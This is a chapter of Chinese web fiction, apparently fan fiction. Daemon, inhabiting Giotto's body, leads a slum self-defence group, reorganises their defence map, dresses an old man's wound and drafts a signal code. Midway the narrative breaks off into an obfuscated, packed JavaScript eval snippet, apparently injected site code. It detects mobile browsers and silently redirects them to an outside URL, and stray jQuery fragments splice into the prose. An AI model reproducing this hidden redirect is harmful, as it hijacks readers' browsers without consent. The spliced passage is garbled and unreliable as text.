门被拉开，八双眼睛同时看向门口。仓库里光线昏暗，在每个人脸上投下斑驳的阴影。


    戴蒙迅速扫视全场。红发少年G站在最前面，全身紧绷，双手紧攥。他身旁的塞弗诺拉，肋侧的绷带渗出暗红色的血渍，眼神凶狠，但眼底藏着不易察觉的担忧。


    他们后面是六个少年，最小的不过十一二岁，咬着唇躲在最后。


    “乔托，”G第一个开口，“你醒了。”


    戴蒙缓缓点头，动作幅度不大，刻意放缓，和乔托平时的模样相差无几。他在脑海中快速调取记忆里乔托的神态，努力模仿那种温和中藏着坚定，清澈里裹着沉稳的感觉。他刻意让紧绷的肩膀放松下来，嘴角勾起一个很浅的弧度，眼底也刻意柔化，尽量褪去自身的冷漠锐利，装出乔托独有的澄澈感。


    “我没事。”他刻意放慢了语速，“刚刚做了个……很长的梦。”


    “梦到那个火焰了？”一个瘦高青年忍不住插嘴。他左手吊着绷带，眼神里有感激，有后怕，还有好奇。“梦到你是怎么弄出来那东西的了？”


    戴蒙微微眯起眼睛。


    “我梦到的不是火焰。”戴蒙缓缓开口，语气温和却带着不容置疑的力量。


    他的目光缓缓移动，从一张脸移到另一张脸，确保与每个人都有短暂而真诚的眼神接触。这是建立权威与信任的基本技巧，此刻被他巧妙地运用在这些贫民窟少年身上。


    “我梦到的是你们。”他刻意加重了“你们”这两个字，语气里添加了一分柔软，更加贴合乔托重视同伴的形象，也让话语更有感染力。


    “梦到塞弗诺拉倒下的样子，梦到G冲上去的样子，梦到所有人为了守护彼此而战的样子。”他的声音低沉了几分，语气里带着一丝动容。


    “那火焰，”戴蒙继续说，语气瞬间变得审慎而克制，“不是魔鬼的把戏，也不是神赐的礼物，它是……”


    他停顿了一下，想要寻找一个他们也能理解的比喻。必须贴合平民窟的生活，不至于引发新的恐慌，又能消解他们对于“超凡”的恐惧，不能太复杂，也不能太抽象。


    “就像你恐惧到极点时，可能会突然爆发出平时两倍还要多的力气，就像母亲看到孩子危险时，能徒手掀翻马车一样。它是我们生命深处涌出来的觉悟，只是，我可能比你们先摸到了它的门把手。”


    这个解释粗糙但有效。它将超凡的力量重新拉回了人性的范畴，消解了神秘感带来的疏离。


    塞弗诺拉盯着他：“你能控制它吗？下次还能用吗？”


    “我需要时间研究。”戴蒙如实说，“那种力量就像一匹未经驯服的野马，用得好能带我们冲出重围，用不好就会踩伤自己人。”


    “所以接下来的几天，我需要静养，需要思考，需要弄明白该怎么驾驭它。”他转头看向G，“这期间，自卫团的日常事务由G和塞弗诺拉负责，巡逻人数加倍，其他照旧，但要避免正面冲突，我们需要时间恢复。”


    G下意识地点头应下，眼底却掠过一丝不易察觉的困惑，眉头微不可察地蹙了一下。他太了解乔托了，那个总是和大家商量着做决定的温和少年，从来不会用这样的语气下达指令。


    他敏锐地察觉到乔托说话方式的微妙变化，话语更简洁更有条理，褪去了平时那种带着商量意味的温和口吻，多了几分沉稳和不容置疑的决断，像变了一个人，却又说不出哪里不对劲。


    但疑虑被担忧压过：“你确定你的身体没事？它会不会伤到你？”


    戴蒙走到G面前，伸手按了按他的肩膀，这是记忆中乔托偶尔会做的动作，表示亲近和信任。


    他声音放轻了一些：“力量只是工具，G，伤人的永远是人。”


    “我们要做的，是确保工具握在正确的人手里，指向正确的敌人。”


    G愣住了。眼前还是那张熟悉的脸，但眼神深处似乎多了一层他读不懂的厚度。


    “你……”G犹豫了一下，“说话有点不一样了。”


    戴蒙心中警铃大作，但脸上的笑容不变：“经历了这样的事总会有些变化。”


    他不再给G追问的机会，迅速转身，从桌上拿起一张泛黄的草纸。那是昨晚，或者说，灵魂互换前，乔托画到一半的贫民窟防御图，上面还有未完成的巡逻路线标记。


    “去帮塞弗诺拉清点武器吧。”他的语气重新恢复了刚才的决断，不给G任何犹豫的余地，“下午再按我新画的分布图放好。”


    他需要尽快把这份防御图补充完整，这是目前最紧迫的事。


    不得不说，乔托的布置很有想法，贴合贫民窟的地形，但还是太理想化了，缺乏足够的纵深和冗余，防线过于集中，没有备用退路，一旦某一个点位被敌人突破，整个防御体系就会迅速崩溃，到时候所有人都将陷入绝境。


    G忍不住探过头，眼睛随着戴蒙的动作慢慢睁大。


    地图上添加了密密麻麻的新标记，原本零散的巡逻路线被重新规划，形成相互交叠的网状结构。物资存放点分散到五个位置，并且标注了紧急转移的顺序。另外还新增了三个隐蔽观察哨和两条逃生密道。


    “这是……”G的声音有些干涩。


    “预防措施。”戴蒙轻描淡写，“男爵不会善罢甘休，卡莫拉丢了面子一定会报复，我们要做好准备。”


    塞弗诺拉也凑了过来，几秒钟后，忍不住倒吸一口凉气：“这些……你怎么想到的？这样一来，就算卡莫拉真的冲进来，我们也能组织起来拖延时间，甚至还能分队发起反击！”


    戴蒙点点头，继续说：“没错，但是要记住，第一目标是保护贫民窟的居民撤离，不要死守防线。人活着，才有以后。”


    这句话的语气很平淡，但在场所有人都感到了一种冷酷但切实的踏实感，仿佛他们第一次如此清晰地看到，自己一直以来在为什么而战，以及在最坏的情况下该如何行动，如何努力活下去。


    G抬起头，深深地看了“乔托”一眼，那眼神复杂极了。但他最终还是压下了心底的不安，点点头：“我去安排。”


    人群渐渐散去，少年们带着各自复杂的心情，匆匆去执行戴蒙下达的指令，仓库里终于恢复了安静，只剩下头顶天光漏下的细碎声响。


    戴蒙缓缓走回那张简陋的木板床边坐下，身体微微向后靠，轻轻吐出一口气，眉宇间难得露出一丝疲惫。


    扮演一个人不难，但是扮演一个被如此多人生死相托、信任依赖的领袖，消耗远比他预想的更大，每一句话、每一个动作都要反复斟酌，稍有不慎就会暴露破绽。


    因为经历突然爆发火焰而有所改变。这个理由能用一时，但不能用太久。


    “三天。”戴蒙低声自语，“最多三天。”


    门外传来轻轻的敲门声。


    “请进。”戴蒙语气温和。


    推门进来的是个八岁左右的小男孩，名叫利诺，身形瘦弱，头发乱糟糟的。他手里端着一个边缘有缺口的粗陶碗，装着温热的麦粥和半块面包。


    “乔托哥哥，G哥哥让我送来的。”他把陶碗放在桌上，却没有马上离开，而是低着头，小手攥着衣角。


    戴蒙问：“怎么了？”


    “你……真的没事吗？”利诺小声问，“那天晚上，你回来的时候脸色好白，像要死了一样。”


    戴蒙心里一动。他招手让男孩走进一些，伸手揉了揉利诺乱糟糟的头发，语气里多了一丝不加伪装的柔和：“我没事，只是有点累。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226012|197482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他放缓语速：“力量不会凭空而来，我使用了那股火焰，就要付出相应的代价。”


    利诺仰起头：“就像我妈妈以前熬夜缝衣服，第二天眼睛会疼一样？”


    “类似。”戴蒙微笑，“所以你要记住，如果以后有一天，你也发现自己有特别的力量，不要随便使用，先弄明白代价是什么。”


    利诺用力点头，然后突然想起什么：“对了，乔瓦尼大叔受伤了，在隔壁屋子。他被掉落的瓦片砸到了胳膊，留了好多血。”


    戴蒙立刻站起身：“带我去看看。”


    乔瓦尼大叔是自卫团的编外成员，五十多岁，经常帮忙望风和传递消息。男爵的人搜查时砸了他的棚屋，瓦片划破了他的手臂。


    棚屋里弥漫着霉味，老人躺在冰冷的草垫上，脸色苍白。伤口只是简单用绷带裹着，G之前找人上过药，但此刻血已经渗透出来。


    “得重新处理，否则可能感染。”戴蒙眉头微蹙，对利诺吩咐，“去打一盆干净的水，找些烧酒，还有干净的绷带或者布条。”


    利诺跑开了。戴蒙蹲下身，小心解开那团浸血的绷带。


    伤口比他预想的深。瓦片边缘不规则，撕开了一条近十厘米长的口子，皮肉外翻着。


    戴蒙盯着伤口，遥远的记忆骤然浮现。边境哨所的军事医院里，脓血与消毒水的刺鼻气味弥漫，一个失去双腿的年轻士兵曾攥着他的裤脚，高烧浑浊的眼睛里满是绝望，反复呢喃：“我的脚好冷……长官，我的脚好冷……”


    戴蒙闭上眼，深呼吸。


    再次睁开时，他已经把那些画面压回脑海深处。他接过利诺打来的水开始清洗伤口，动作很轻也很稳，然后再用烧酒消毒，老人疼得浑身抽搐，但还是咬着牙没叫出声。


    没有针线，戴蒙只能用干净的布条紧紧包扎，用压力帮助止血。


    “伤口太深了，需要缝合，但我现在没有工具。”他对老人说，“这两天不要动这只胳膊，如果发烧或者伤口发红流脓，立刻告诉我。”


    老人虚弱地点点头，浑浊的眼睛看着戴蒙：“乔托……你跟你奶奶一样手巧，她以前也经常帮我们包扎伤口。”


    戴蒙的手微微一顿，他没有乔托关于家人的记忆，但能感觉到，当老人提起“奶奶”的时候，这具身体的心脏传来一阵细微的悸动。


    “好好休息。”他最后说，一边替老人盖上薄毯。


    走出棚屋时，午后的阳光正烈。戴蒙站在巷子里，低头看着自己的双手——乔托的双手，手指修长但粗糙，指甲缝里还有刚才清洗伤口时留下的血渍。


    这双手三天前爆发出觉悟的火焰，拯救了同伴。


    这双手现在沾着贫民窟的污垢和穷人的血。


    戴蒙缓缓握紧拳头，掌心传来幻痛一样的灼热感。


    “工具……”他重复自己刚才对G说过的话，“力量只是工具。”


    但工具会塑造使用者。用这双手包扎伤口，用这双手规划防御，这些行为本身，正在他灵魂的坚硬外壳上刻下细微的花纹。


    远处传来自卫团少年们训练的声音。生活还在继续，危机尚未解除。


    戴蒙转身，走回那间半地下室仓库的书桌前。他坐下，拿起铅笔，开始在一张新的草纸上勾画。


    这次不是防御图，而是一套简单的信号密码系统。他回忆着军队中使用的旗语和密码本原理，将它们拆解简化，然后转化成贫民窟可能找到的材料和能记住的节奏。


    铅笔在粗糙的草纸上沙沙作响，戴蒙的眼神专注而锐利，褪去了伪装乔托时的温和。


    屋顶的阳光缓缓移动，从缝隙中漏下的光斑在纸上跳跃，将他的影子慢慢拉长，渐渐与桌上的地图和清单重叠。